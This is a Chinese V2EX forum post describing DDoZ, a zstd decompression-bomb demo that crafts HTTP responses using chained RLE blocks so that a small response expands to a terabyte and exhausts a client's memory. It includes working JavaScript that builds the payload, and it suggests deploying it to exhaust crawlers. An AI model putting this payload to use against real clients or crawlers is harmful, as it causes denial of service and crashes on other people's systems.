简单实现 DDoZ 客户端内存耗尽攻击

2025 年 10 月 13 日
 t00t00

项目概述

DDoZ(Decompression Death of Zstandard) 是一个基于 zstd 压缩算法的客户端内存耗尽攻击演示项目。DDoZ 攻击通过发送特殊构造的 zstd 压缩响应,导致客户端在解压缩过程中消耗大量内存,从而引发内存溢出和崩溃。

部署链接

kazutoiris/DDoZ 中支持 Cloudflare Workers 一键部署。同时提供了一个示例链接,用于测试 1TiB 解压大小对于客户端的影响。

核心原理

Zstd 压缩算法

Zstd ( Zstandard ) 是 Facebook 开发的一种快速无损压缩算法,具有高压缩比和快速解压缩的特点。根据 RFC8878 规定,一个 zstd 帧由多个块组织而成,块的类型有三种:原始块、RLE 块和压缩块。每个块的解压后大小被限制为了 128KiB 。

攻击原理

DDoZ 主要利用 RLE 块进行攻击。RLE 块的工作原理是重复单个字节值 Block_Size 次。一个 RLE 块由以下部分组成:

因此,一个 4 字节的结构( 3 字节头 + 1 字节内容)可以产生最多 128KiB 的解压缩数据。通过链接多个 RLE 块,可以实现巨大的放大比( 32 MiB 响应可以解压出 1TiB 内容)。

工作流程

  1. 客户端向服务器发送 HTTP 请求

  2. 服务器根据环境变量 DECOMPRESSED_SIZE_IN_GIB 确定生成的数据大小,并构造特殊的 zstd 压缩数据。

    const initialData = new Uint8Array([0x28, 0xB5, 0x2F, 0xFD, 0x00, 0x38]); // ZSTD 帧头
    
    const repeatPattern = new Uint8Array([0x02, 0x00, 0x10, 0x48]); // 连续 128KiB RLE 块
    const repeatPattern2 = new Uint8Array([0x03, 0x00, 0x10, 0x48]); // 终止 128KiB RLE 块
    
    const fullData = new Uint8Array(initialData.length + repeatPattern.length * decompressedSize);
    fullData.set(initialData, 0);
    for (let i = 0; i < decompressedSize; i++) {
        fullData.set(i == decompressedSize - 1 ? repeatPattern2 : repeatPattern, initialData.length + i * repeatPattern.length);
    }
    

相关项目

总结

DDoZ 展示了即使在现代安全防护措施下,仍可能利用压缩算法的特性发起新型攻击,因此在处理压缩内容时需要格外小心。基于这种攻击方式可以反制爬虫,耗尽爬虫资源。

1667 次点击
所在节点    分享创造
0 条回复

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1164954

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX